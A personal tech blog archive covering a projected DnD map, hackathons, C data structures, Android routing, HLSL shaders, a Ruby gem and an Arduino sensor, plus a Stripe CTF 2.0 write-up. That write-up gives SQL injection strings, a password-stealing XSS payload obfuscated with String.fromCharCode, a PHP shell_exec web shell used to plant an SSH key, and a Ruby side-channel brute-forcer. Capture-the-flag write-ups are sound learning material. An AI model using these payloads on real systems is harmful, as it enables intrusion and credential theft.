Category Archives: Tech

Tech commentary

Projected DnD

So I wanted to build some interactive play maps for when running DnD games, so that I could hide rooms automatically and create a more involved experience. I already had the hardware to build this system, and combined with some JavaScript it was not long until the players were running the DnD starter set adventure on it.

Hardware

As part of my fledgling company, I have a lot of projectors and associated rigging equipment lying about.

So for when I’ve been DM’ing, I’ve used a Dell M110 projector mounted onto monitor desk mount that has been extended with a custom lathed plastic tube. With the extension, the projector ends up being about 1.5m above the table.

The projector isn’t the brightest in the world, especially against wood coloured tables, but sticking some white paper on the table surface and dimming the room lights worked great.

Software

I wrote a very simple html template to display the interactive maps. The interaction, in this case, was the DM being able to control which areas of the map (e.g. rooms) are currently visible.

This was done by making a number of “layers” which only covered the areas they were responsible for, and then toggling their visibility with JavaScript. The layers were made using Inkscape.

The layers which could be toggled had an img#id the same as the key that would toggle them (e.g. img#1, img#2, etc) and the following snippet was used to actually change the visibility.

 

function toggle_visibility(e) {
    // Toggle an elements visiblity
    if(e.style.display == 'block' || e.style.display == '')
        e.style.display = 'none';
    else
        e.style.display = 'block';
}

function khandle(e) {
    // Find the key that was pressed, and then toggle 
    // KEY.png's visibility
    e = e || event;
    var evt = e.type;
    var c = String.fromCharCode(e.keyCode || e.charCode);
    var handle = document.getElementById(c);
    toggle_visibility(handle);
}

function init() {
    // Make sure the first room is visible
    toggle_visibility(document.getElementById("1"));
}

document.body.onkeydown = khandle;
document.body.onload = init;

Future

So far, this system has worked quite well for me. It does require some preparation work (creating the area masks) and forgetting which area of the map is bound to which key can be a bit of a pain.

However, I think without too much effort I could create a “DM screen” that would be shown on my laptop where I could more easily control which areas are visible, play sound effects, or show more visual effects (e.g. lightning strikes, fire).

The code and non copyrighted resources for the first chapter of the starter set is up on my Github if anyone wants to try this themselves. It would work just as well for those builds which are using an LCD screen for a table too.

Fashion Hackathon – London Startup Weekend

The weekend of the 14th December I attended the London Startup Weekend Fashion Hackathon. This was a much larger event than the previous hackathon I attended and was more geared towards creating a viable business as well as the tech to support it.

The format was fun, on the first day a number of people would pitch ideas, we would all vote for them, then form teams to begin on the Saturday morning. I attended in order to build something new and fun, so just stood back and listened for some interesting pitches.

There were two super interesting pitches: A smart bag which worked out what was in your bag and alerted you if things were missing; and an automatic garment detector which would allow you to take a picture, and then buy the clothes from the picture.

I ended up picking the image recognition project as it sounded the most fun and I didn’t think we would be able to source an RFID reader (or similar) over the weekend. (it turned out that this team didn’t pitch,  so maybe they pivoted or disbanded?)

The mini-startup we made was called LookSnap, and it was fun and quite gratifying to see that my business instincts were reinforced by the actions of the rest of the group. Over the day and a half that it was worked on,  I think the business model ended up fairly solid.

My main job for the weekend was getting the image recognition working. In terms of the technology and with the very short time-scale in mind I decided to limit the acceptable inputs as much as possible. As such, I designed an algorithm that would be able to extract the clothing (top, bottoms, shoes) from a picture of someone who was facing forward and had their arms down.

The algorithm works as follows:

  1. Use OpenCV to detect a face
  2. With the face position, composite a “clothing mask” (see images) onto the original photo using graphicsmagick
  3. This than gives you a fairly decent cut out of just that persons clothes. Apply different masks for top, bottom, and shoes.

Once I had these images, the idea was to use reverse image search on the lyst.com domain to always return something relevant.

However, there was a slight hitch with this plan. Google reverse image search, which worked well manually, had no API in which to pass an image…

So the stopgap method was to extract the average colour from the garment by averaging all the pixel colours that were in the appropriate garment masks, and then mapping these colour to their more broader hue. This turned out to be incredibly hard and would have been impossible if not for reverse engineering a very good hue detector at http://www.color-blindness.com/color-name-hue/

Once this was working I packaged it all up in a FLASK api where an image file was posted to the endpoint, the above magic happened, and a json file was returned giving the X,Y of the garment in the photo, and information on the product name, description, image, and a buy link.

Unfortunately there was not enough time to integrate the service into our POC app, which would have made persuading the judges that we have actually done basic image detection much easier!

Overall, the team did an excellent job, and even though we didn’t win I feel the weekend was very well spent.

Data Science London Hackathon

On the weekend of October 5th, I participated in the Data Science London Hackathon for Smart Cities. This involved having access to a number of datasets of city based data from London. These datasets included things such as:

  • Car Parking Counts
  • Oyster Journeys
  • Incidents of Antisocial Behaviour

A couple of guys from work and myself made a team (TeamLYST) and decided to have a closer look at the antisocial behaviour dataset to see if we could make something interesting.

The data gave events that happen on a given day, for a given street for about a month. The events were lovingly given as:

  • Dog Fouling
  • Graffiti
  • AntiSocials (public urination, vomit, etc)

So from this we decided to make a predictive application that would generate a number of likely events to happen for a Monday, Tuesday, etc.

The application was split into 3 parts:

  1. Pre-processing the data into a format which was useful, adding in default values etc,
  2. Creating a generative predictive model from this data
  3. Visualising the data

There were three on our team, so I picked the visualisation. I did this using Python and PyGame to draw a PNG of London, which was generated by open streetmap. Event locations were translated to map locations, and the map could be translated and zoomed with the events staying where they were supposed to be. The visualiser allowed you to flip through different days and to access new generated events.

The generative model was trained by looking at each Monday, Tuesday, etc to work out a count of each event type per street, which was then normalised against the total events of that day. This gave a likelihood for each event in each street for each day in the week. Assuming that all events are equally likely to occur (a big assumption) we can sample a normal distribution and apply this to our likelihood map to generate an event. We do this the same amount as the average number of events for that day and we get a pseudo -typical event set.

The final product worked as intended, and with more accurate data could be extended into a nice predictive application to help with local law enforcement responses and distributions.

We didn’t win the hackathon, but it was a fun experience. We put up a video of our work too.

Getting back into C

So I spend a lot of my time at my computer, it’s a fact of life as a computer science PhD student. However, while I may have a vim window open 90% of the time, more often than not there will be latex or matlab code in that vim window. Sometimes, if I get one of those rare lulls in deadlines, there may even be Ruby or Haskell code from when I’m learning or prototyping.

This, however, has made me incredibly lazy. I do no low level programming, know very limited assembler, and get spoiled rotten by higher level languages. How much work does my_hash["key"] = value do for me? Well, a lot.

To address this, I’m refreshing myself of my C knowledge and building basic abstract types. But, I’m doing it in a way which would make the most academically minded coder weep with glee in its abstraction and cleanliness – although possibly at the expense of speed. But, I’m an academic, I only need to be aware of speed, while making sure my code is clear enough for people to read and hopefully learn.

So far, I’ve blasted through stacks, queues, linked lists, and binary trees. There are still some utility functions to build with regards to the trees, but I’m engineering them to use function pointers and void * memory in order to not tie my data structures to types.

Currently the code is on GitHub and will be built up as I add more data structures. Hopefully I have time for tries, ropes, prefix trees, graphs, and example code of how to use them. Search algorithms and other classics are hopefully going in, with the aim to make a library not for performance, but for clarity and aid in teaching.

Feel free to email me suggestions and requests for algorithms.

Stripe-CTF 2.0

I managed to finish the Stripe CTF with 18 hours to spare and placed no. 702. I’m pretty happy with the result considering how little time I actually spent on it! My progress can be found here and you can see when I took days off!

Overall the competition was really enjoyable and the final hangout in the irc channel while my program was breaking the flag really made me feel part of the community.

I won’t publish this until the end of the deadline, but I’ll try to remember how I broke through each level and give the code I used:

Level 0

Very simple! A beginner SQL injection attack which leveraged the following line in the code:

var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
...

This essentially put namespace into the ‘?’ of the statement. My setting namespace to a wildcard (‘%’) the page dumped its data and the password to the next level.

Level 1

The task for this level was to guess a combination that was defined in a hidden file (“combination.txt” or similar) which would then unlock “password.txt” and output to a web page. The code which read in the combination looked like:

extract($_GET);
if (isset($attempt)) {
  $combination = trim(file_get_contents($filename));
    if ($attempt === $combination) {
      ...

The key thing I could exploit here was “extract($_GET)” which just created variables for what ever was in the GET params with no checks. Simply passing “&filename=&attempt=” as params got me past the if statement and the password was outputted.

Level 2

This level was referred back again and again, as you could upload files to it and execute code from a level02-*.stripe-stf.com domain. The idea was to get the contents of the file password.txt which was not accessible from the webserver. Uploading a .php file which read the contents of the file and echoed it worked by just browsing to “/uploads/getfile.php”

Level 3

This was the first level which was hard! I’d never really done a proper SQL injection before and it was quite satisfying to get working. The SQL injection point was:

query = """SELECT id, password_hash, salt FROM users
          WHERE username = '{0}' LIMIT 1""".format(username)

which meant that I was stuck with the start of the statement regardless, and the python-sql link didn’t allow multiple statements. I read up on SQL attacks and ended up using a combination of UNION and SELECT AS in order to inject my own data into the response. However, the only thing I could inject was an id, password_hash, and a salt. The id allowed me to spoof a user, and I could determine what my hash should be given a known salt. My injection was

' union select 1 as 'id', '961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506' as 'password_hash', 'a' as salt ; --

Which made the proper request to the database return nothing, and then I combined it with my own data, which was an id for 1, the SHA256 hash of “aa”, and a salt of a.

Putting the above in the username field and setting my password to ‘a’ I got authenticated. Then I just changed ids between 1-3 until I got the correct user.

N.B The secrets for the other users, which claimed to be either the solution to P=NP, and a plan for a perpetual motion device seemed to be generated from scigen

Level 4

This level was weird, and was  a JavaScript injection attack. The given website had a simple concept: users passed karma between each other. However, to show that they really trusted the user they were giving karma to, your password was shown to people who gave you karma. There was a system generated user called ‘karma_fountain’ whose password for the code to unlock the next level.

The inject route was: Set your password to some JavaScript, send karma to your prey, when they logon the JavaScript would execute. Luckily, karma_fountain logged in every minute and my password was set to (wrapped in script tags):

$.post('/user-izwsyuhfyt/transfer', { to: "karma", amount: "1"});

Level 5

This was black magic. It was solved near accidentally and then inspected to work out why.

Essentially you had to trick the system to think that it was receiving a command which solved the regex:

/[^w]AUTHENTICATED[^w]*$/

.However, the command had to be returned from a stripe-ctf domain, and to get the code the system had to think it came from a level5.stripe-ctf domain.

Using level 2, I uploaded a .php (.txt was forbidden in the webserver rules) which just echoed ” AUTHENTICATED”, and passing the address for that got me authenticated as a level02 domain. Now all I needed was to get it to authenticate as level05.

In the end, the url i gave it was itself, with the post parameters it needed for level2 in the get params.  Essentially this is what happened:

  1. Level5 posted to itself with a domain of level5.* and get params for level2 auth
  2. From this post the level2 auth were collected by the post param get functions
  3. Authed as level2
  4. Authed as level5

BLACK MAGIC

Level 6

This level was incredibly fiddly, but FireBug really helped with it. Essentially it was a blogging site, and there was an injection point in the blogroll. However, the database had a “safeInsert” method which dropped any data which had an apostrophe or quote in it. This just made it awkward.

The site had a “/user_info” page which a user could view their unsanitized user and password. The user which I needed to get the password from apparently has quotes and apostrophes in its password, so I also needed to sanitize them before getting them out of the system. The only way to do that would be to make my prey post their password.

So the exploit work flow is:

  1. GET /user_info
  2. Strip password and convert to character code
  3. POST this to /ajax/posts with a scraped ‘_csrf’ token to authenticate

This had to be done with no quotes or apostrophes so any strings were generated using String.fromCharCode(). Here’s the formatted exploit code I used:

$.get(String.fromCharCode(117,115,101,114,95,105,110,102,111), 
  function(response) { 
    var a = $(String.fromCharCode(60,100,105,118,47,62)).html(response).find(String.fromCharCode(46,115,112,97,110,49,50,32,116,100)).text();
    var u; 
    for(i=0;i<a.length;i++){u += String.fromCharCode(32) + a.charCodeAt(i)} 
    $.post( String.fromCharCode(97,106,97,120,47,112,111,115,116,115), 
      { 
        title: String.fromCharCode(88,83,83), 
        body: u, 
        _csrf: $(String.fromCharCode(102,111,114,109,35,110,101,119,95,112,111,115,116,32,105,110,112,117,116))[0].value 
      }); 
  } 
);

Level 7

I was given an API to a “WaffleCopter” service and had to request a premium waffle in order to get the password. I was not a premium user. Each request was signed with a SHA1 hash. They could be replayed.

After googling for SHA1 vulnerabilities and hanging around in the channel I discovered that there was a padding vulnerability in SHA1 and that were was a handy python script which would do all the work for you.

Combining this tool with a web request, I was able to use an old request from user 2 who ordered a “dream” premium waffle, add “&waffle=leige” to the end of the query and the magic python script worked out padding that got me the same signature as the original request!

Level 8

This was incredible and a nice mix of frustrating, hard, and madness.

Essentially: The flag was a 12 digit number, it was kept by a program which then split the password into 4 chunks and were held by separate instances. You interrogated the main instance of the passwordDb and it would ask the chunks if it was correct. the service would then reply {success: false/true}. You could also pass it a “webhook” which would get the results rather than the curl/browser call.

The server also only accepted data from a *.stripe-ctf.com domain.

So, first problem, I needed to get that password: The chunking was an advantage, as if I was brute forcing individual chunks I would only need a 10^3 search space 4 times, rather than 1 10^12 search space. this made brute forcing practical. While on a local instance of the server I could interrogate the chunk_servers individually, on the level8 server I did not have that option, so I needed the go through the primary_server.

Due to reflection magic, when a webhook is used and a chunk says a password chunk is wrong, it directly tells the webhook true/false. And the port which is used is dependent upon which chunk is replying! A port difference (from the port of your last request) of 2 meant chunk 1 had rejected your password, 3 meant chunk 2, and so on.

This gave a side channel style attack where you could sequentially increase each chunk depending on which chunk returned false. This meant you could break the flag in <= 4000 requests. Ace.

So, the second problem, getting access to a .stripe-ctf.com domain. The problem statement said that sshd was running.  Attempting the ssh in with your generated username failed due to no public key. Hmm. Uploading a php script with a simple form and a shell_exec command essentially gave me a poor mans command line and after much faffing was able to upload a public key, create a .ssh/ folder, and add my key to an authorized_keys file. Then I was in.

Running my cracker on the production server came up with some problems: the port differences were sometimes more than 5. I assume this was because of the amount of people on the server. I modified the program to ignore any weird port differences and keep trying until a sane one was found. The server was also INCREDIBLY SLOW. It took me about 3 and half hours to brute force my flag with the following:

require 'socket'
require 'net/https'

# Addresses of primary_server and webhook address
ENDPOINT = "https://level08-4.stripe-ctf.com/user-ianrhgpijr/"
WEBHOOK = "level02-3.stripe-ctf.com"

# current port and chunk values
last_port = -1
chunk1 = 0
chunk2 = 0
chunk3 = 0
chunk4 = 0

# Open webhook port
server = TCPServer.open(50001)
puts "[Server]:: listening on port #{server.addr[1]}"

# Until finished (practically forever on production)
while true

  # Start POST request to endpoint
  uri = URI(ENDPOINT)
  req = Net::HTTP::Post.new(uri.to_s)

  # Pad out to chunks of 3, with zeros
  password_chunk = "#{chunk1.to_s.rjust(3, '0')}#{chunk2.to_s.rjust(3, '0')}#{chunk3.to_s.rjust(3, '0')}#{chunk4.to_s.rjust(3, '0')}"

  # Build request
  req.body = "{"password": "#{password_chunk}", "webhooks": ["#{WEBHOOK}:#{server.addr[1]}"]}"

  http = Net::HTTP.new(uri.host, Net::HTTP.https_default_port)
  http.use_ssl = true 

  # Send request, we only really care about the response when it returns true
  http.start { |h| @response = h.request(req) }

  # Wait on webhook
  client = server.accept

  if (last_port != -1)

    # Get port difference
    diff = client.peeraddr[1] - last_port

    # Verbose is good on dodgy production server
    puts "[CHUNK]:: #{password_chunk} & port_diff = #{diff}"

    # Incerement chunks based on port difference
    if (diff == 2)
      chunk1 += 1

    elsif (diff == 3)
      chunk2 += 1

    elsif (diff == 4)
      chunk3 += 1

    elsif (diff == 5)
      chunk4 += 1
      # Last chunk, we can start checking the flag result!
      if (@response.body.include?('true'))
        # Woo got the flag
        puts "[FLAG]:: #{password_chunk}"
        break
      end
    end
  end
  last_port = client.peeraddr[1]

  client.close
end

Conclusions

All in all it was a brilliant competition to spend hours in distraction with. Looking forward to the next one (and my free t-shirt).

Android Maps and Routing

Very quick one here.

I’ve been trying to mapping, especially routing, working on an android application I’m developing. I will save you a lot of trouble and tell you to use the inbuilt Google services.

In fact, I found a gem of a post at http://smartandroidians.blogspot.co.uk/2010/06/showing-route-through-google-map-in.html which shows you how to open an intent for routing. I’ll add in some handy extras.

// Uri to open - this will work in your browser and is actually the uri that maps generates itself
Uri uri = Uri.parse("http://maps.google.com/maps?&saddr=" + userLocOverlayItem.routableAddress() + 
                    "&daddr=" + destinationOverlayItem.routableAddress() + 
                    "&dirflg=w");

// Create an intent to view the URI
Intent intent = new Intent(Intent.ACTION_VIEW, uri);

// [Bonus] Set the intent class as a map, so you can avoid an annoying pop up asking whether to
// open in the browser or maps
intent.setClassName("com.google.android.apps.maps", "com.google.android.maps.MapsActivity");

// Start the activity and close your launching activity
startActivity(intent);
finish();

I added a couple of things, as my application wanted walking directions and there was an annoying pop up asking what to open the URI with.
First, adding ...&dirflg=w to the URI forced walking directions.
Second, setting the intent’s class name as in the snippet set a hint to android for what to open the URI with [2].

This isn’t new, but it was hard to track down something clear via searching, so I’m consolidating.

References

[1] http://smartandroidians.blogspot.co.uk/2010/06/showing-route-through-google-map-in.html

[2] http://stackoverflow.com/questions/8132069/calling-google-map-using-intent?lq=1

SlimDX and Shaders – Constant Buffers

Setting up

Having played with a few GLSL shaders in C++, I thought that moving to a DirectX/HLSL solution sould be fairly simple.

Creating the most simple pixel shader was easy enough, and SlimDX is a decent wrapper for DX in C# – so after an hour or so I had the standard working triangle floating in space. I wanted to go further (obviously), and having spent the last few days delving into the demoscene and finding the most amazing site for pixelshader techniques (http://www.iquilezles.org/www/index.htm) I wanted to have a shader to work with (x,y) coordinates that were between (-1,1) rather than absolute screen coordinates.

This requires passing the current render area width and height to the shader to normalise with. This is done using Constant Buffers and on the shader side looks like:

 

cbuffer ConstBuffer : register(c0)
{
	float2 resolution;
}

// Simple vertex shader
float4 VShader(float4 position : POSITION) : SV_POSITION
{
	return position;
}

// Pixel shader
float4 PShader(float4 position : SV_POSITION) : SV_Target
{
        // Get normalised (x,y)
	float2 p = -1 +  2 * (position.xy/resolution);

        // Spikes in the corner
	float c = abs(p.x*p.y);
	return float4(c,c,c,1.0f);
}

 

To get the resolution variable into the register for the shader to use, you must create a ConstantBuffer in the program code and assign it to the shade. The Constant Buffer must be a size which is divisible by 16, so if your data is too small, just put it in a bigger buffer.

// Create data stream, we only need 8 bytes, but round up to 16
var resolution = new DataStream(16, true, true);
// Fill the stream with width/height info - I'm using a renderform
resolution.Write(new Vector2(form.ClientSize.Width, form.ClientSize.Height));
// Rewind the stream
resolution.Position = 0;
// Create and bind a buffer
context.PixelShader.SetConstantBuffer(new Buffer(device,     //Device
                                                 resolution, //Stream
                                                 16,         // Size
                                                 // Flags
                                                 ResourceUsage.Dynamic,
                                                 BindFlags.ConstantBuffer,
                                                 CpuAccessFlags.Write,
                                                 ResourceOptionFlags.None,
                                                 4),
                                      0); // Register

This lets us run the above shader, giving us:

Simple Shader results

 

Bonus

Having played on shader toy, I repurposed the Deform effect for a static image.

Shader:

cbuffer ConstBuffer : register(c0)
{
	float2 resolution;
}

// Simple vertex shader
float4 VShader(float4 position : POSITION) : SV_POSITION
{
	return position;
}

// Pixel shader
float4 PShader(float4 position : SV_POSITION) : SV_Target
{
        // Get normalised (x,y)
	float2 p = -1 +  2 * (position.xy/resolution);

        // Deform focus
	float2 m = float2(0.2f, 0.1f);

        // Deform
	float a1 = atan((p.y-m.y)/(p.x-m.x));
	float r1 = sqrt(dot(p-m,p-m));
	float a2 = atan((p.y+m.y)/(p.x+m.x));
	float r2 = sqrt(dot(p+m,p+m));

	float2 uv;
	uv.x = 0.2 + (r1-r2)*0.25;
	uv.y = sin(2.0*(a1-a2));

	float w = r1*r2*0.8;
	float c2 = abs(uv.x*uv.y);
	float4 col = float4(c2,c2,c2,1.0f);

	return float4(col.xyz/(0.1+w),1.0f);
}

Result:
Deform shader

Android development talk

On Thursday 10th May, I was asked to present a small talk on android development. I have not been coding android for very long, but I had learned enough to get background services working and activities not popping up where they should be. The slides won’t be as complete without my talk, but they should get the idea across.

The following is a very light overview of the tools at your disposal:

Ruby gem – json_serialisable

I was working on a ruby project and stumbed upon my first valid application of metaprogramming. I was creating json serialisation methods and realised they were all practically identical. So I looked at how attr_accessor worked and then wrote my own class method called attr_serialisable. This method generated serialisation methods automatically.

Example

Given a class A

class A
  attr_accessor :a, :b, :c
  attr_serialisable :a, :b, :c

  def initialize(a, b, c)
    @a, @b, @c = a, b, c
  end
end

 

attr_serialisable would generate the following methods:

  def to_json(*a)
    {
      "json_class"  =>  self.class.name,
      "a"           =>  @a,
      "b"           =>  @b,
      "c"           =>  @c
    }.to_json(*a)
  end

  def json_create(o)
    new(*o["a"], *o["b"], *o["c"])
  end

 

Which will allow the class to easily be used by the ‘json’ library.

Links

Rubygems page
Source code

Arduino Gas Sensor – Part 2

Previously

So I left the last article with the following:

Well apart from the hardware I need, so issues need to be addressed which may or may not require extra hardware – as I’ve just thought of them.

  • DateTime equivalent object for when I register a pulse
  • Work out how long these will last on battery
  • Can I set an interrupt to go off when a digital value hits a threshold? Or does this require analogue input? If I can it would massively save on battery as no polling! But, it may require fiddly per-house calibration, which the brute force method ignores
  • Laser/3d Printed box and some form of mounting which will let me attach to anything. Probably going to be velcro

So I’ll go through what has been done since then via this criterea.

Hardware Changes

The DateTime object style thing was achieved through an RTC module (http://www.sparkfun.com/products/99) which communicated to the ‘duino using the I2C bus and takes 5V. A microSD card shield was also added to the hardware for saving events into a simple text file (http://www.sparkfun.com/products/9802).

Rather than use my hastily build photosensor, I used a load of RFXcom sensors as they are well built and have a housing designed for sticking to the meter (Which is by far the biggest engineering challenge of this project). A board layout for interfacing with the sensor units was created and the gEDA/gSchem schematic file can be found on the git hub project page.

Software Changes

Well, apart from the stuff which interfaces with the RTC module and the microSD card, not much has changed code wise. The way the RFXcom modules work was backwards to my prototype, so I measured the time it takes to discharge a capacitor rather than charge. An LED on a meter normally flashes for .1s, so the timout is set to 0.05s.

Battery Life

Using a multimeter showed the whole sensor drew 92mA. It isn’t ideal, but with a 6 AA battery pack which packs ~3000mAH which lasts a bout a day ( 🙁 ) However,  that was with a ridiculously high powered infrared LED on the RFXcom board. Using just the photosensor (rather than the reflective) the power output was 42mA and that was with the SD card always powered. There is a lot of scope for battery life improvement on this project.

Source

The source can be found on my github page at https://github.com/carl-ellis/Arduino-Gas-Sensor .